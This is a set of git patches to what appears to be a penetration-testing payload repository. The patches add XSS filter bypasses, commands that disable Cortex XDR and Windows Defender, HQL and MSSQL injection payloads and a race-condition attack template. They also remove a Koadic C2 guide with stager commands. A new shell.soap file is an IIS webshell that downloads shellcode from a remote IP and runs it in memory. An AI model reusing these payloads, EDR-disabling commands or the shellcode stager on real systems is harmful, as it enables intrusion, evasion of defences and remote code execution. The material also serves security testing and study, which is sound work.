From 6c7df7dc4eaf0aacba98d6ad913a41610281fd0c Mon Sep 17 00:00:00 2001 From: idealphase Date: Wed, 10 Nov 2021 22:38:02 +0700 Subject: [PATCH 01/20] Update README.md Add Bypass dot filter --- XSS Injection/README.md | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/XSS Injection/README.md b/XSS Injection/README.md index f17abf32..3c4a24e4 100644 --- a/XSS Injection/README.md +++ b/XSS Injection/README.md @@ -663,6 +663,12 @@ You can bypass a single quote with ' in an on mousedown event handler Convert IP address into decimal format: IE. `http://192.168.1.1` == `http://3232235777` http://www.geektools.com/cgi-bin/ipconv.cgi +```javascript + +window["doc"+"ument"] ``` ### Bypass using javascript inside a string From b0d05faded8f0e7b8fa0cab98f503a2178fda18b Mon Sep 17 00:00:00 2001 From: Swissky <12152583+swisskyrepo@users.noreply.github.com> Date: Thu, 14 Apr 2022 09:42:15 +0200 Subject: [PATCH 14/20] TruffleHog examples + Cortex XDR disable --- API Key Leaks/README.md | 7 + .../Windows - Persistence.md | 40 +++++- .../Windows - Post Exploitation Koadic.md | 123 ------------------ Server Side Request Forgery/README.md | 6 + 4 files changed, 49 insertions(+), 127 deletions(-) delete mode 100644 Methodology and Resources/Windows - Post Exploitation Koadic.md diff --git a/API Key Leaks/README.md b/API Key Leaks/README.md index acfb662e..8438d2c4 100644 --- a/API Key Leaks/README.md +++ b/API Key Leaks/README.md @@ -25,6 +25,13 @@ - [KeyFinder - is a tool that let you find keys while surfing the web!](https://github.com/momenbasel/KeyFinder) - [Keyhacks - is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid.](https://github.com/streaak/keyhacks) +- [truffleHog - Find credentials all over the place](https://github.com/trufflesecurity/truffleHog) + ```ps1 + docker run -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --repo https://github.com/trufflesecurity/test_keys + docker run -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --org=trufflesecurity + trufflehog git https://github.com/trufflesecurity/trufflehog.git + trufflehog github --endpoint https://api.github.com --org trufflesecurity --token GITHUB_TOKEN --debug --concurrency 2 + ``` ## Exploit diff --git a/Methodology and Resources/Windows - Persistence.md b/Methodology and Resources/Windows - Persistence.md index a95bd6f2..8154ab57 100644 --- a/Methodology and Resources/Windows - Persistence.md +++ b/Methodology and Resources/Windows - Persistence.md @@ -64,6 +64,27 @@ PS> attrib +h mimikatz.exe Elastic Agent will be uninstalled from your system at C:\Program Files\Elastic\Agent. Do you want to continue? [Y/n]:Y Elastic Agent has been uninstalled. ``` +* [Cortex XDR](https://mrd0x.com/cortex-xdr-analysis-and-bypass/) + ```ps1 + # Global uninstall password: Password1 + Password hash is located in C:\ProgramData\Cyvera\LocalSystem\Persistence\agent_settings.db + Look for PasswordHash, PasswordSalt or password, salt strings. + + # Disable Cortex: Change the DLL to a random value, then REBOOT + reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CryptSvc\Parameters /t REG_EXPAND_SZ /v ServiceDll /d nothing.dll /f + + # Disables the agent on startup (requires reboot to work) + cytool.exe startup disable + + # Disables protection on Cortex XDR files, processes, registry and services + cytool.exe protect disable + + # Disables Cortex XDR (Even with tamper protection enabled) + cytool.exe runtime disable + + # Disables event collection + cytool.exe event_collection disable + ``` ### Disable Windows Defender @@ -73,19 +94,30 @@ sc config WinDefend start= disabled sc stop WinDefend Set-MpPreference -DisableRealtimeMonitoring $true -# Wipe currently stored definitions -# Location of MpCmdRun.exe: C:\ProgramData\Microsoft\Windows Defender\Platform\ -MpCmdRun.exe -RemoveDefinitions -All - ## Exclude a process / location Set-MpPreference -ExclusionProcess "word.exe", "vmwp.exe" Add-MpPreference -ExclusionProcess 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath C:\Video, C:\install +# Disable scanning all downloaded files and attachments, disable AMSI (reactive) +PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatus +PS C:\> Set-MpPreference -DisableIOAVProtection $true +# Disable AMSI (set to 0 to enable) +PS C:\> Set-MpPreference -DisableScriptScanning 1 + # Blind ETW Windows Defender: zero out registry values corresponding to its ETW sessions reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f + +# Wipe currently stored definitions +# Location of MpCmdRun.exe: C:\ProgramData\Microsoft\Windows Defender\Platform\ +MpCmdRun.exe -RemoveDefinitions -All + +# Remove signatures (if Internet connection is present, they will be downloaded again): +PS > & "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" -RemoveDefinitions -All +PS > & "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All ``` + ### Disable Windows Firewall ```powershell diff --git a/Methodology and Resources/Windows - Post Exploitation Koadic.md b/Methodology and Resources/Windows - Post Exploitation Koadic.md deleted file mode 100644 index 9caea726..00000000 --- a/Methodology and Resources/Windows - Post Exploitation Koadic.md +++ /dev/null @@ -1,123 +0,0 @@ -# Koadic C3 COM Command & Control - JScript RAT - -> Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire. - -## Installation - -```powershell -git clone https://github.com/zerosum0x0/koadic -git submodule init -git submodule update -pip2.7 install -r requirements.txt --user -python2.7 koadic -``` - -## Set a listener - -```powershell -use stager/js/mshta -set LHOST 192.168.1.19 -set SRVPORT 4444 -run - -[>] mshta http://192.168.1.19:4444/6DX7f -``` - -```powershell -use stager/js/wmic -set LHOST 192.168.1.19 -set SRVPORT 4444 -run - -[>] wmic os get /FORMAT:"http://192.168.1.19:4444/lQGx5.xsl" -``` - -### Stagers - -Stagers hook target zombies and allow you to use implants. - -Module | Description ---------|------------ -stager/js/mshta | serves payloads using MSHTA.exe HTML Applications -stager/js/regsvr | serves payloads using regsvr32.exe COM+ scriptlets -stager/js/wmic | serves payloads using WMIC XSL -stager/js/rundll32_js | serves payloads using rundll32.exe -stager/js/disk | serves payloads using files on disk - - - -## List zombies and interact with them - -```powershell -(koadic: sta/js/wmic)$ zombies - - ID IP STATUS LAST SEEN - --- --------- ------- ------------ - 0 192.168.1.30 Alive 2018-10-04 17:07:12 - -(koadic: sta/js/wmic)$ zombies 0 - ID: 0 - Status: Alive - First Seen: 2018-10-04 17:05:00 - Last Seen: 2018-10-04 17:14:42 - IP: 192.168.1.30 - User: DESKTOP-68URA9U\CrashWin - [...] - Elevated: No - [...] -``` - -Interact with `zombies zombie_id`, get a shell with `cmdshell zombie_id`. - -```powershell -[koadic: ZOMBIE 0 (192.168.1.30) - C:\Users\CrashWin]> whoami -[*] Zombie 0: Job 1 (implant/manage/exec_cmd) created. -[+] Zombie 0: Job 1 (implant/manage/exec_cmd) completed. -Result for `cd C:\Users\CrashWin & whoami`: -desktop-68ura9u\crashwin -``` - -## Use an implant - -Select an implant with `use module`, then fill the `info` with `set INFO value`, finally start the module with `run`. - -```powershell -(koadic: sta/js/mshta)$ use implant/phish/password_box -(koadic: imp/phi/password_box)$ set ZOMBIE 1 -(koadic: imp/phi/password_box)$ run -Input contents: -MyStrongPassword123! -``` - -### Implants - -Implants start jobs on zombies. - -Module | Description ---------|------------ -implant/elevate/bypassuac_eventvwr | Uses enigma0x3's eventvwr.exe exploit to bypass UAC on Windows 7, 8, and 10. -implant/elevate/bypassuac_sdclt | Uses enigma0x3's sdclt.exe exploit to bypass UAC on Windows 10. -implant/fun/zombie | Maxes volume and opens The Cranberries YouTube in a hidden window. -implant/fun/voice | Plays a message over text-to-speech. -implant/gather/clipboard | Retrieves the current content of the user clipboard. -implant/gather/enum_domain_info | Retrieve information about the Windows domain. -implant/gather/hashdump_sam | Retrieves hashed passwords from the SAM hive. -implant/gather/hashdump_dc | Domain controller hashes from the NTDS.dit file. -implant/gather/user_hunter | Locate users logged on to domain computers (using Dynamic Wrapper X). -implant/inject/mimikatz_dynwrapx | Injects a reflective-loaded DLL to run powerkatz.dll (using Dynamic Wrapper X). -implant/inject/mimikatz_dotnet2js | Injects a reflective-loaded DLL to run powerkatz.dll (@tirannido DotNetToJS). -implant/inject/shellcode_excel | Runs arbitrary shellcode payload (if Excel is installed). -implant/manage/enable_rdesktop | Enables remote desktop on the target. -implant/manage/exec_cmd | Run an arbitrary command on the target, and optionally receive the output. -implant/phishing/password_box | Prompt a user to enter their password. -implant/pivot/stage_wmi | Hook a zombie on another machine using WMI. -implant/pivot/exec_psexec | Run a command on another machine using psexec from sysinternals. -implant/scan/tcp | Uses HTTP to scan open TCP ports on the target zombie LAN. -implant/utils/download_file | Downloads a file from the target zombie. -implant/utils/multi_module | Run a number of implants in succession. -implant/utils/upload_file | Uploads a file from the listening server to the target zombies. - -## References - -- [Pentestlab - koadic](https://pentestlab.blog/tag/koadic/) -- [zerosum0x0 Github - koadic](https://github.com/zerosum0x0/koadic) \ No newline at end of file diff --git a/Server Side Request Forgery/README.md b/Server Side Request Forgery/README.md index ed8dd5ca..a16cb7d8 100644 --- a/Server Side Request Forgery/README.md +++ b/Server Side Request Forgery/README.md @@ -223,6 +223,12 @@ List: ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿ ``` +### Bypass using unicode + +In some languages (.NET, Python 3) regex supports unicode by default. +`\d` includes `0123456789` but also `๐๑๒๓๔๕๖๗๘๙`. + + ### Bypass filter_var() php function ```powershell From 1f73834d5e561581839d0f3279b8e1b81d6e60a7 Mon Sep 17 00:00:00 2001 From: Alexandre ZANNI <16578570+noraj@users.noreply.github.com> Date: Thu, 14 Apr 2022 18:07:35 +0200 Subject: [PATCH 15/20] HQLi in Java apps - HITBSecConf2016 --- SQL Injection/HQL Injection.md | 104 +++++++++++++++++++++++++++++++++ 1 file changed, 104 insertions(+) diff --git a/SQL Injection/HQL Injection.md b/SQL Injection/HQL Injection.md index 6e8168be..97d36723 100644 --- a/SQL Injection/HQL Injection.md +++ b/SQL Injection/HQL Injection.md @@ -1,11 +1,18 @@ # Hibernate Query Language Injection > Hibernate ORM (Hibernate in short) is an object-relational mapping tool for the Java programming language. It provides a framework for mapping an object-oriented domain model to a relational database. - Wikipedia + ## Summary * [HQL Comments](#hql-comments) * [HQL List Columns](#hql-list-columns) * [HQL Error Based](#hql-error-based) +* [Single Quote Escaping](#single-quote-escaping) +* [$-quoted strings](#--quoted-strings) +* [DBMS Magic functions](#dbms-magic-functions) +* [Unicode](#unicode) +* [Java constants](#java-constants) +* [Methods by DBMS](#methods-by-dbms) * [References](#references) ## HQL Comments @@ -49,10 +56,107 @@ select blogposts0_.id as id18_, blogposts0_.author as author18_, blogposts0_.pro :warning: **HQL does not support UNION queries** +## Single Quote Escaping + +Method works for MySQL DBMS which escapes SINGLE QUOTES in strings with SLASH `\'`. + +In HQL SINGLE QUOTES is escaped in strings by doubling `''`. + +``` +'abc\''or 1=(select 1)--' +``` + +In HQL it is a string, in MySQL it is a string and additional SQL expression. + +## $-quoted strings + +Method works for DBMS which allow DOLLAR-QUOTED strings in SQL expressions: PostgreSQL, H2. + +Hibernate ORM allows identifiers starting with `$$`. + +``` +$$='$$=concat(chr(61),chr(39)) and 1=1--' +``` + +## DBMS Magic functions + +Method works for DBMS which have MAGIC FUNCTIONS which evaluate SQL expression in string parameter: PostgreSQL, Oracle. + +Hibernate allows to specify any function name in HQL expression. + +PostgreSQL has built-in function `query_to_xml('Arbitrary SQL')`. + +``` +array_upper(xpath('row',query_to_xml('select 1 where 1337>1', true, false,'')),1) +``` + +Oracle has built-in function `DBMS_XMLGEN.getxml('SQL')` + +``` +NVL(TO_CHAR(DBMS_XMLGEN.getxml('select 1 where 1337>1')),'1')!='1' +``` + +## Unicode + +Method works for DBMS which allow UNICODE delimiters (Ex. U+00A0) between SQL tokens: Microsoft SQL Server, H2. + +In Microsoft SQL SERVER `SELECT LEN([U+00A0](select[U+00A0](1))` works the same as `SELECT LEN((SELECT(1)))`; + +HQL allows UNICODE symbols in identifiers (function or parameter names). + +``` +SELECT p FROM hqli.persistent.Post p where p.name='dummy' or 1CHAR(41) and (select count(1) from sysibm.sysdummy1)>0 --')=1 and '1'='1 +``` + +## Methods by DBMS + +![image](https://user-images.githubusercontent.com/16578570/163428666-a22105a8-287c-4997-8aef-8f372a1b86e9.png) + ## References * [HQL for pentesters - February 12, 2014 - Philippe Arteau](https://blog.h3xstream.com/2014/02/hql-for-pentesters.html) * [How to put a comment into HQL (Hibernate Query Language)? - Thomas Bratt](https://stackoverflow.com/questions/3196975/how-to-put-a-comment-into-hql-hibernate-query-language) * [HQL : Hyperinsane Query Language - 04/06/2015 - Renaud Dubourguais](https://www.synacktiv.com/ressources/hql2sql_sstic_2015_en.pdf) * [ORM2Pwn: Exploiting injections in Hibernate ORM - Nov 26, 2015 - Mikhail Egorov](https://www.slideshare.net/0ang3el/orm2pwn-exploiting-injections-in-hibernate-orm) +* [New Methods for Exploiting ORM Injections in Java Applications - HITBSecConf2016 - Mikhail Egorov - Sergey Soldatov](https://conference.hitb.org/hitbsecconf2016ams/materials/D2T2%20-%20Mikhail%20Egorov%20and%20Sergey%20Soldatov%20-%20New%20Methods%20for%20Exploiting%20ORM%20Injections%20in%20Java%20Applications.pdf) * [HQL Injection Exploitation in MySQL - July 18, 2019 - Olga Barinova](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/hql-injection-exploitation-in-mysql/) From c274874430ac09ec432eb28d21285b55fe9d0fd7 Mon Sep 17 00:00:00 2001 From: Alexandre ZANNI <16578570+noraj@users.noreply.github.com> Date: Mon, 18 Apr 2022 17:21:26 +0200 Subject: [PATCH 16/20] MSSQL: list permissions --- SQL Injection/MSSQL Injection.md | 30 ++++++++++++++++++++++++++++++ 1 file changed, 30 insertions(+) diff --git a/SQL Injection/MSSQL Injection.md b/SQL Injection/MSSQL Injection.md index 920e2ac3..ce645d4b 100644 --- a/SQL Injection/MSSQL Injection.md +++ b/SQL Injection/MSSQL Injection.md @@ -23,6 +23,7 @@ * [MSSQL UNC path](#mssql-unc-path) * [MSSQL Make user DBA](#mssql-make-user-dba-db-admin) * [MSSQL Trusted Links](#mssql-trusted-links) +* [MSSQL List permissions](#mssql-list-permissions) ## MSSQL Comments @@ -297,6 +298,33 @@ EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2" ``` +## List permissions + +Listing effective permissions of current user on the server. + +```sql +SELECT * FROM fn_my_permissions(NULL, 'SERVER'); +``` + +Listing effective permissions of current user on the database. + +```sql +SELECT * FROM fn_my_permissions (NULL, 'DATABASE'); +``` + +Listing effective permissions of current user on a view. + +``` +SELECT * FROM fn_my_permissions('Sales.vIndividualCustomer', 'OBJECT') ORDER BY subentity_name, permission_name; +``` + +Check if current user is a member of the specified server role. + +```sql +-- possible roles: sysadmin, serveradmin, dbcreator, setupadmin, bulkadmin, securityadmin, diskadmin, public, processadmin +SELECT is_srvrolemember('sysadmin'); +``` + ## References * [Pentest Monkey - mssql-sql-injection-cheat-sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet) @@ -306,3 +334,5 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT * [DAFT: Database Audit Framework & Toolkit - NetSPI](https://github.com/NetSPI/DAFT) * [SQL Server UNC Path Injection Cheatsheet - nullbind](https://gist.github.com/nullbind/7dfca2a6309a4209b5aeef181b676c6e) * [Full MSSQL Injection PWNage - ZeQ3uL && JabAv0C - 28 January 2009](https://www.exploit-db.com/papers/12975) +* [Microsoft - sys.fn_my_permissions (Transact-SQL)](https://docs.microsoft.com/en-us/sql/relational-databases/system-functions/sys-fn-my-permissions-transact-sql?view=sql-server-ver15) +* [Microsoft - IS_SRVROLEMEMBER (Transact-SQL)](https://docs.microsoft.com/en-us/sql/t-sql/functions/is-srvrolemember-transact-sql?view=sql-server-ver15) From 1a5537a04494ac1767c8a75f372066a78fe72b39 Mon Sep 17 00:00:00 2001 From: Swissky <12152583+swisskyrepo@users.noreply.github.com> Date: Mon, 18 Apr 2022 20:58:14 +0200 Subject: [PATCH 17/20] Add warning about cPickle --- Insecure Deserialization/Python.md | 1 + 1 file changed, 1 insertion(+) diff --git a/Insecure Deserialization/Python.md b/Insecure Deserialization/Python.md index 98e843e7..563db1cf 100644 --- a/Insecure Deserialization/Python.md +++ b/Insecure Deserialization/Python.md @@ -3,6 +3,7 @@ ## Pickle The following code is a simple example of using `cPickle` in order to generate an auth_token which is a serialized User object. +:warning: `import cPickle` will only work on Python 2 ```python import cPickle From 578ea4d12b45f607d384ce912682c2adb2f4666c Mon Sep 17 00:00:00 2001 From: Swissky <12152583+swisskyrepo@users.noreply.github.com> Date: Mon, 18 Apr 2022 21:32:54 +0200 Subject: [PATCH 18/20] SOAP File Upload --- .../Extension ASP/shell.soap | 55 +++++++++++++++++++ Upload Insecure Files/README.md | 5 +- 2 files changed, 58 insertions(+), 2 deletions(-) create mode 100644 Upload Insecure Files/Extension ASP/shell.soap diff --git a/Upload Insecure Files/Extension ASP/shell.soap b/Upload Insecure Files/Extension ASP/shell.soap new file mode 100644 index 00000000..dcac007d --- /dev/null +++ b/Upload Insecure Files/Extension ASP/shell.soap @@ -0,0 +1,55 @@ +<%@ WebService Language="C#" class="SoapStager"%> +using System; +using System.IO; +using System.Web; +using System.Web.Services; +using System.Net; +using System.Net.NetworkInformation; +using System.Net.Security; + +// SRC: https://red.0xbad53c.com/red-team-operations/initial-access/webshells/iis-soap +// https://github.com/0xbad53c/webshells/tree/main/iis + +[WebService(Namespace = "http://microsoft.com/" ,Description ="SOAP Stager Webshell" , Name ="SoapStager")] +[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)] +public class SoapStager : MarshalByRefObject +{ + private static Int32 MEM_COMMIT=0x1000; + private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40; + + [System.Runtime.InteropServices.DllImport("kernel32")] + private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect); + + [System.Runtime.InteropServices.DllImport("kernel32")] + private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId); + + + [System.ComponentModel.ToolboxItem(false)] + [WebMethod] + public string loadStage() + { + string Url = "http://10.90.255.52/beacon.bin"; //your IP and location of meterpreter or other raw shellcode + byte[] rzjUFlLZh; + + IWebProxy defaultWebProxy = WebRequest.DefaultWebProxy; + defaultWebProxy.Credentials = CredentialCache.DefaultCredentials; + + // in case of HTTPS + using (WebClient webClient = new WebClient() { Proxy = defaultWebProxy }) + { + ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072; + ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(delegate { return true; }); + webClient.UseDefaultCredentials = true; + rzjUFlLZh = webClient.DownloadData(Url); + } + + + // Feel free to improve to PAGE_READWRITE & direct syscalls for more evasion + IntPtr fvYV5t = VirtualAlloc(IntPtr.Zero,(UIntPtr)rzjUFlLZh.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE); + System.Runtime.InteropServices.Marshal.Copy(rzjUFlLZh,0,fvYV5t,rzjUFlLZh.Length); + IntPtr owlqRoQI_ms = IntPtr.Zero; + IntPtr vnspR2 = CreateThread(IntPtr.Zero,UIntPtr.Zero,fvYV5t,IntPtr.Zero,0,ref owlqRoQI_ms); + + return "finished"; + } +} \ No newline at end of file diff --git a/Upload Insecure Files/README.md b/Upload Insecure Files/README.md index 0c633a0b..0ccaea3f 100644 --- a/Upload Insecure Files/README.md +++ b/Upload Insecure Files/README.md @@ -43,7 +43,7 @@ .phtm .inc ``` -* ASP Server : `.asp, .aspx, .cer and .asa (IIS <= 7.5), shell.aspx;1.jpg (IIS < 7.0)` +* ASP Server : `.asp, .aspx, .cer and .asa (IIS <= 7.5), shell.aspx;1.jpg (IIS < 7.0), shell.soap` * JSP : `.jsp, .jspx, .jsw, .jsv, .jspf` * Perl: `.pl, .pm, .cgi, .lib` * Coldfusion: `.cfm, .cfml, .cfc, .dbm` @@ -143,4 +143,5 @@ When a ZIP/archive file is automatically decompressed after the upload * [Encoding Web Shells in PNG IDAT chunks, 04-06-2012, phil](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) * [La PNG qui se prenait pour du PHP, 23 février 2014](https://phil242.wordpress.com/2014/02/23/la-png-qui-se-prenait-pour-du-php/) * [File Upload restrictions bypass - Haboob Team](https://www.exploit-db.com/docs/english/45074-file-upload-restrictions-bypass.pdf) -* [File Upload - Mahmoud M. Awali / @0xAwali](https://docs.google.com/presentation/d/1-YwXl9rhzSvvqVvE_bMZo2ab-0O5wRNTnzoihB9x6jI/edit#slide=id.ga2ef157b83_1_0) \ No newline at end of file +* [File Upload - Mahmoud M. Awali / @0xAwali](https://docs.google.com/presentation/d/1-YwXl9rhzSvvqVvE_bMZo2ab-0O5wRNTnzoihB9x6jI/edit#slide=id.ga2ef157b83_1_0) +* [IIS - SOAP](https://red.0xbad53c.com/red-team-operations/initial-access/webshells/iis-soap) \ No newline at end of file From 6738f878f39107f15e0c5220bb5ddc765843fd75 Mon Sep 17 00:00:00 2001 From: idealphase Date: Tue, 19 Apr 2022 10:45:32 +0700 Subject: [PATCH 19/20] Updated README.md Added References: Bypassing Signature-Based XSS Filters: Modifying Script Code --- XSS Injection/README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/XSS Injection/README.md b/XSS Injection/README.md index 9d68654f..8309a2dd 100644 --- a/XSS Injection/README.md +++ b/XSS Injection/README.md @@ -1255,3 +1255,4 @@ anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxld - [mXSS Attacks: Attacking well-secured Web-Applications by using innerHTML Mutations - Mario Heiderich, Jörg Schwenk, Tilman Frosch, Jonas Magazinius, Edward Z. Yang](https://cure53.de/fp170.pdf) - [Self Closing Script](https://twitter.com/PortSwiggerRes/status/1257962800418349056) - [Bypass < with <](https://hackerone.com/reports/639684) +- [Bypassing Signature-Based XSS Filters: Modifying Script Code](https://portswigger.net/support/bypassing-signature-based-xss-filters-modifying-script-code) From 9f9fbe4fe56347b2a9f4f84e850fbd612f841db2 Mon Sep 17 00:00:00 2001 From: idealphase Date: Tue, 19 Apr 2022 11:06:34 +0700 Subject: [PATCH 20/20] Updated Race Condition README.md Added Turbo Intruder 2 Requests Examples use when the window may only be a few milliseconds. --- Race Condition/README.md | 33 ++++++++++++++++++++++++++++++++- 1 file changed, 32 insertions(+), 1 deletion(-) diff --git a/Race Condition/README.md b/Race Condition/README.md index 2e70df87..1986c47e 100644 --- a/Race Condition/README.md +++ b/Race Condition/README.md @@ -41,9 +41,40 @@ 3. Now set the external HTTP header x-request: %s - :warning: This is needed by the turbo intruder 4. Click "Attack" +## Turbo Intruder 2 Requests Examples +This follwoing template can use when use have to send race condition of request2 immediately after send a request1 when the window may only be a few milliseconds. +```python +def queueRequests(target, wordlists): + engine = RequestEngine(endpoint=target.endpoint, + concurrentConnections=30, + requestsPerConnection=100, + pipeline=False + ) + request1 = ''' +POST /target-URI-1 HTTP/1.1 +Host: +Cookie: session= + +parameterName=parameterValue + ''' + + request2 = ''' +GET /target-URI-2 HTTP/1.1 +Host: +Cookie: session= + ''' + + engine.queue(request1, gate='race1') + for i in range(30): + engine.queue(request2, gate='race1') + engine.openGate('race1') + engine.complete(timeout=60) +def handleResponse(req, interesting): + table.add(req) +``` ## References * [Race Condition allows to redeem multiple times gift cards which leads to free "money" - @muon4](https://hackerone.com/reports/759247) * [Turbo Intruder: Embracing the billion-request attack - James Kettle | 25 January 2019](https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack) -* [Race Condition Bug In Web App: A Use Case - Mandeep Jadon](https://medium.com/@ciph3r7r0ll/race-condition-bug-in-web-app-a-use-case-21fd4df71f0e) \ No newline at end of file +* [Race Condition Bug In Web App: A Use Case - Mandeep Jadon](https://medium.com/@ciph3r7r0ll/race-condition-bug-in-web-app-a-use-case-21fd4df71f0e)